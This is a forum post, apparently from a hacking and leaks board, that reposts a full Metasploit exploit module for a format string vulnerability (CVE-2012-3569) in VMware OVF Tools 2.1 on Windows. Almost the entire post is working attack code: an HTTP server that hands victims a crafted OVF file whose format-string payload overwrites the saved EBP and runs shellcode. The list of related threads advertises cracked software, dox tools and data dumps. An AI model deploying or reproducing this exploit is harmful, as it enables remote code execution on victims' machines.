VMware OVF Tools - Format String (Metasploit) (1)

Adam

Administrator
Staff member
Jul 15, 2020
719
2
18
Credits
3,870
Points
3,440
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => 'VMWare OVF Tools Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
Windows. The vulnerability occurs when printing error messages while parsing a
a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
2.1 on Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jeremy Brown', # Vulnerability discovery
'juan vazquez' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2012-3569' ],
[ 'OSVDB', '87117' ],
[ 'BID', '56468' ],
[ 'URL', ' ' ]
],
'Payload' =>
{
'DisableNops' => true,
'BadChars' =>
(0x00..0x08).to_a.pack("C*") +
"\x0b\x0c\x0e\x0f" +
(0x10..0x1f).to_a.pack("C*") +
(0x80..0xff).to_a.pack("C*") +
"\x22",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x54\x59", # push esp # pop ecx
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
'BufferOffset' => 6
}
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# vmware-ovftool-2.1.0-467744-win-i386.msi
[ 'VMWare OVF Tools 2.1 on Windows XP SP3',
{
'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
'AddrPops' => 98,
'StackPadding' => 38081,
'Alignment' => 4096
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 08 2012',
'DefaultTarget' => 0))

end

def ovf
my_payload = rand_text_alpha(4) # ebp
my_payload << [target.ret].pack("V") # eip # call esp
my_payload << payload.encoded

fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
fs << my_payload
# 65536 => 0x10000
# 27 => Error message prefix length
fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
fs << "%08x" * target['AddrPops'] # Reach saved EBP
fs << "%hn" # Overwrite LSW of saved EBP with 0x1000

ovf_file = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<Envelope vmw:buildId="build-162856" xmlns=" "
xmlns:cim=" "
xmlns:eek:vf=" "
xmlns:rasd=" "
xmlns:vmw=" "
xmlns:vssd=" "
xmlns:xsi=" ">
<References>
<File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" />
</References>
<DiskSection>
<Info>Virtual disk information</Info>
<Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format=" " />
</DiskSection>
<VirtualSystem ovf:id="Small VM">
<Info>A virtual machine</Info>
</VirtualSystem>
</Envelope>
EOF
ovf_file
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri

if agent !~ /VMware-client/ or agent !~ /ovfTool/
print_status("User agent #{agent} not recognized, answering Not Found...")
send_not_found(cli)
end

if uri =~ /.mf$/
# The manifest file isn't required
print_status("Sending Not Found for Manifest file request...")
send_not_found(cli)
end

print_status("Sending OVF exploit...")
send_response(cli, ovf, {'Content-Type'=>'text/xml'})
end

end
 
Thread starter Similar threads Forum Replies Date
GRANDGALAXY SJ VMware Workstation Pro 15 With Crack Program Leaks 0
A [GET] 100% FREE 1000'S OF PREMIUM WORDPRESS PLUGINS AND TOOLS Webmaster Resources 0
A SITESPY V5.1.1 SEO TOOLS Webmaster Resources 0
GRANDGALAXY SJ Void dot to Entire Thread DB - [Tools/Configs/Combos/Porn] + More Dumps 0
GRANDGALAXY SJ The Ultimate Dox Tools Pack [2019] Other leaks 0
GRANDGALAXY SJ 10 Best & Used Hacking Tools. Other leaks 0
A 100+ FREE SEO TOOLS & RESOURCES Webmaster Resources 0
A SITESPY V5.1.1 SEO TOOLS Webmaster Resources 0
A LARGE TOOLS COLLECTION [UPDATED 2020] Webmaster Resources 0
A bitrix-seo-tools Search Engine Optimization 0
A laravel-seo-tools Search Engine Optimization 0
A GET FREE ACCESS TO OVER 50 SEO TOOLS Search Engine Optimization 0
A FREE SEO TOOLS ONLINE 100% FREE TO USE Search Engine Optimization 0
A SEO TOOLS TO HELP WITH YOUR NEW WEBSITE Search Engine Optimization 0
A THE BEST TOOLS SEARCH ENGINE OPTIMIZATION (SEO) Search Engine Optimization 0
A 44 BEST FREE SEO TOOLS (TRIED AND TESTED) Search Engine Optimization 0
A A TO Z SEO TOOLS V2.9 Search Engine Optimization 0
A CRACKIT INDONESIA VIP RIP - ALL SEO TOOLS & THEMES RIPPED Search Engine Optimization 0
A 500+ FREE STARTUPS TOOLS [SEO,ANALYTICS,CONTENT MARKETING,SOCIAL MEDIA, AND MORE] Search Engine Optimization 0
A 100+ FREE SEO TOOLS & RESOURCES Search Engine Optimization 0
A AtoZ SEO Tools - Search Engine Optimization Tools Search Engine Optimization 0
A hack-tools Web hacking 0
A Kali-Linux-Tools-Interface Exploits and Tools 0
GRANDGALAXY SJ [BUNDLE] 10 TOOLS TO GET HQ PROXIES [PAID 2020 WORKING] Program Leaks 0
A Ethical-Hacking-Tools Exploits and Tools 0
GRANDGALAXY SJ Youtube - Twitch | TOOLS / BOTS | Program Leaks 0
GRANDGALAXY SJ Best BOTS | Automated TOOLS | Selection (with list) Program Leaks 0
GRANDGALAXY SJ AtoZ SEO Tools 2.9 Nulled – Search Engine Optimization Tools Search Engine Optimization 0
A Fsociety Hacking Tools Pack Web hacking 0
Similar threads





























Users Who Are Viewing This Thread (Total: 1, Members: 0, Guests: 1)